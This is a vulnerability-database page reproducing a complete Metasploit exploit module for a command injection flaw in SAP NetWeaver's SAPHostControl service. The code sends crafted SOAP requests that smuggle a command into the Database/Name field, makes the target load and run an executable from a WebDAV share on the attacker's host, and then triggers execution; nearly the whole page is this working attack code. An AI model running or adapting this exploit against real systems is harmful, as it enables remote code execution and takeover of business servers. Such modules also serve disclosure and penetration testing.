Lucene search
K

SAP NetWeaver HostControl Command Injection

🗓️ 31 Aug 2012 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 20 Views

Exploit SAP NetWeaver HostControl Command Injection allows command execution via specially crafted SOAP request. Requires WebClient service enabled on target host

Code
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
 
    def initialize
        super(
            'Name'          => 'SAP NetWeaver HostControl Command Injection',
            'Description'   => %q{
                    This module exploits a command injection vulnerability in the SAPHostControl
                Service, by sending a specially crafted SOAP request to the management console.
 
                In order to deal with the spaces and length limitations, a WebDAV service is
                created to run an arbitrary payload when accessed as a UNC path. Because of this,
                the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
                It is enabled and automatically started by default on Windows XP SP3, but disabled
                by default on Windows 2003 SP2.
            },
            'Author'      => [
                'Michael Jordon', # Vulnerability discovery and PoC
                'juan vazquez' # Metasploit module
            ],
            'Platform'    => 'win',
            'References'  =>
                [
                    [ 'OSVDB', '84821'],
                    [ 'URL', 'http://www.contextis.com/research/blog/sap4/' ],
                    [ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required
                ],
            'Targets'     =>
                [
                    [ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ],
                ],
            'DefaultTarget'  => 0,
            'Privileged'     => true,
            'DisclosureDate' => 'Aug 14 2012'
        )
        register_options(
            [
                Opt::RPORT(1128),
                OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
                OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
            ], self.class)
    end
 
    def autofilter
        false
    end
 
    def check_dependencies
        use_zlib
    end
 
    def on_request_uri(cli, request)
        case request.method
            when 'OPTIONS'
                process_options(cli, request)
            when 'PROPFIND'
                process_propfind(cli, request)
            when 'GET'
                process_get(cli, request)
            else
                vprint_status("#{request.method} => 404 (#{request.uri})")
                resp = create_response(404, "Not Found")
                resp.body = ""
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
        end
    end
 
    def process_get(cli, request)
 
        if blacklisted_path?(request.uri)
            vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
            resp = create_response(404, "Not Found")
            resp.body = ""
            cli.send_response(resp)
            return
        end
 
        if (request.uri.include? @basename)
            print_status("GET => Payload")
            return if ((p = regenerate_payload(cli)) == nil)
            data = generate_payload_exe({ :code => p.encoded })
            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
            return
        end
 
        # Treat index.html specially
        if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
            vprint_status("GET => REDIRECT (#{request.uri})")
            resp = create_response(200, "OK")
 
            resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
 
            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
            return
        end
 
        # Anything else is probably a request for a data file...
        vprint_status("GET => DATA (#{request.uri})")
        data = "HELLO!"
        send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    end
 
    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request)
        vprint_status("OPTIONS #{request.uri}")
        headers = {
            'MS-Author-Via' => 'DAV',
            'DASL'          => '<DAV:sql>',
            'DAV'           => '1, 2',
            'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
            'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
            'Cache-Control' => 'private'
        }
        resp = create_response(207, "Multi-Status")
        headers.each_pair {|k,v| resp[k] = v }
        resp.body = ""
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end
 
    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request)
        path = request.uri
        vprint_status("PROPFIND #{path}")
 
        if path !~ /\/$/
 
            if blacklisted_path?(path)
                vprint_status "PROPFIND => 404 (#{path})"
                resp = create_response(404, "Not Found")
                resp.body = ""
                cli.send_response(resp)
                return
            end
 
            if path.index(".")
                vprint_status "PROPFIND => 207 File (#{path})"
                body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
                # send the response
                resp = create_response(207, "Multi-Status")
                resp.body = body
                resp['Content-Type'] = 'text/xml; charset="utf8"'
                cli.send_response(resp)
                return
            else
                vprint_status "PROPFIND => 301 (#{path})"
                resp = create_response(301, "Moved")
                resp["Location"] = path + "/"
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
                return
            end
        end
 
        vprint_status "PROPFIND => 207 Directory (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
        <D:href>#{path}</D:href>
        <D:propstat>
            <D:prop>
                <lp1:resourcetype><D:collection/></lp1:resourcetype>
                <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
                <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
                <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
                <D:supportedlock>
                    <D:lockentry>
                        <D:lockscope><D:exclusive/></D:lockscope>
                        <D:locktype><D:write/></D:locktype>
                    </D:lockentry>
                    <D:lockentry>
                        <D:lockscope><D:shared/></D:lockscope>
                        <D:locktype><D:write/></D:locktype>
                    </D:lockentry>
                </D:supportedlock>
                <D:lockdiscovery/>
                <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
            </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
</D:response>
|
 
        if request["Depth"].to_i > 0
            trail = path.split("/")
            trail.shift
            case trail.length
                when 0
                    body << generate_shares(path)
                when 1
                    body << generate_files(path)
            end
        else
            vprint_status "PROPFIND => 207 Top-Level Directory"
        end
 
        body << "</D:multistatus>"
 
        body.gsub!(/\t/, '')
 
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
    end
 
    def generate_shares(path)
        share_name = @share_name
        %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
    end
 
    def generate_files(path)
        trail = path.split("/")
        return "" if trail.length < 2
 
        base  = @basename
        exts  = @extensions.gsub(",", " ").split(/\s+/)
        files = ""
        exts.each do |ext|
            files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
        end
 
        files
    end
 
    def gen_timestamp(ttype=nil)
        ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
    end
 
    def gen_datestamp(ttype=nil)
        ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
    end
 
    # This method rejects requests that are known to break exploitation
    def blacklisted_path?(uri)
        share_path = "/#{@share_name}"
        payload_path = "#{share_path}/#{@basename}.exe"
        case uri
            when payload_path
                return false
            when share_path
                return false
            else
                return true
        end
    end
 
    def check
 
        @peer = "#{rhost}:#{rport}"
 
        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <SOAP-ENV:Header>
        <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
            <enableSession>true</enableSession>
        </sapsess:Session>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
            <aArguments>
                <item>
                    <mKey>Database/Type</mKey>
                    <mValue>ada</mValue>
                </item>
                <item>
                    <mKey>Database/Password</mKey>
                    <mValue>#{rand_text_alphanumeric(8)}</mValue>
                </item>
                <item>
                    <mKey>Database/Username</mKey>
                    <mValue>control</mValue>
                </item>
                <item>
                    <mKey>Database/Name</mKey>
                    <mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)}
!#{rand_text_alpha_lower(8)}
</mValue>
                </item>
            </aArguments>
        </ns1:GetDatabaseStatus>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
        eos
 
        print_status("#{@peer} - Testing command injection...")
 
        res = send_request_cgi({
            'uri'          => '/',
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'      => {
                'SOAPAction' => "\"\"",
            },
            'data'         => soap,
        }, 10)
 
        if (res and res.code == 500 and res.body =~ /Generic error/)
            return CheckCode::Appears
        else
            return CheckCode::Safe
        end
 
    end
 
    def exploit
 
        @basename = rand_text_alpha(3)
        @share_name = rand_text_alpha(3)
        @extensions = "exe"
        @system_commands_file = rand_text_alpha_lower(4)
 
        myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
 
        @exploit_unc  = "\\\\#{myhost}\\"
 
        if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
            fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
        end
 
        vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
 
 
        @peer = "#{rhost}:#{rport}"
 
        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <SOAP-ENV:Header>
        <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
            <enableSession>true</enableSession>
        </sapsess:Session>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
            <aArguments>
                <item>
                    <mKey>Database/Type</mKey>
                    <mValue>ada</mValue>
                </item>
                <item>
                    <mKey>Database/Password</mKey>
                    <mValue>#{rand_text_alphanumeric(8)}</mValue>
                </item>
                <item>
                    <mKey>Database/Username</mKey>
                    <mValue>control</mValue>
                </item>
                <item>
                    <mKey>Database/Name</mKey>
                    <mValue>NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)}
!#{@exploit_unc}#{@share_name}\\#{@basename}.exe
</mValue>
                </item>
            </aArguments>
        </ns1:GetDatabaseStatus>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
        eos
 
        print_status("#{@peer} - Injecting system commands...")
 
        res = send_request_cgi({
            'uri'          => '/',
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'      => {
                'SOAPAction'     => "\"\"",
            },
            'data'         => soap,
        }, 10)
 
        if (res and res.code == 500 and res.body =~ /Generic error/)
            print_good("#{@peer} - System command successfully injected")
        else
            print_error("#{@peer} - Failed to inject system command")
            return
        end
 
        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <SOAP-ENV:Header>
        <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
            <enableSession>true</enableSession>
        </sapsess:Session>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
            <aArguments>
                <item>
                    <mKey>Database/Type</mKey>
                    <mValue>ada</mValue>
                </item>
                <item>
                    <mKey>Database/Password</mKey>
                    <mValue>#{rand_text_alphanumeric(8)}</mValue>
                </item>
                <item>
                    <mKey>Database/Username</mKey>
                    <mValue>control</mValue>
                </item>
                <item>
                    <mKey>Database/Name</mKey>
                    <mValue>NSP \-ic c:\\#{@system_commands_file}.txt</mValue>
                </item>
            </aArguments>
        </ns1:GetDatabaseStatus>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
        eos
 
        print_status("#{@peer} - Executing injected command")
 
        res = send_request_cgi({
            'uri'          => '/',
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'      => {
                'SOAPAction'     => "\"\"",
            },
            'data'         => soap,
        }, 1)
 
        if res
            print_error("#{@peer} - Failed to execute injected command")
            return
        end
 
        super
    end
end



#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2012 00:00Current
7.1High risk
Vulners AI Score7.1
20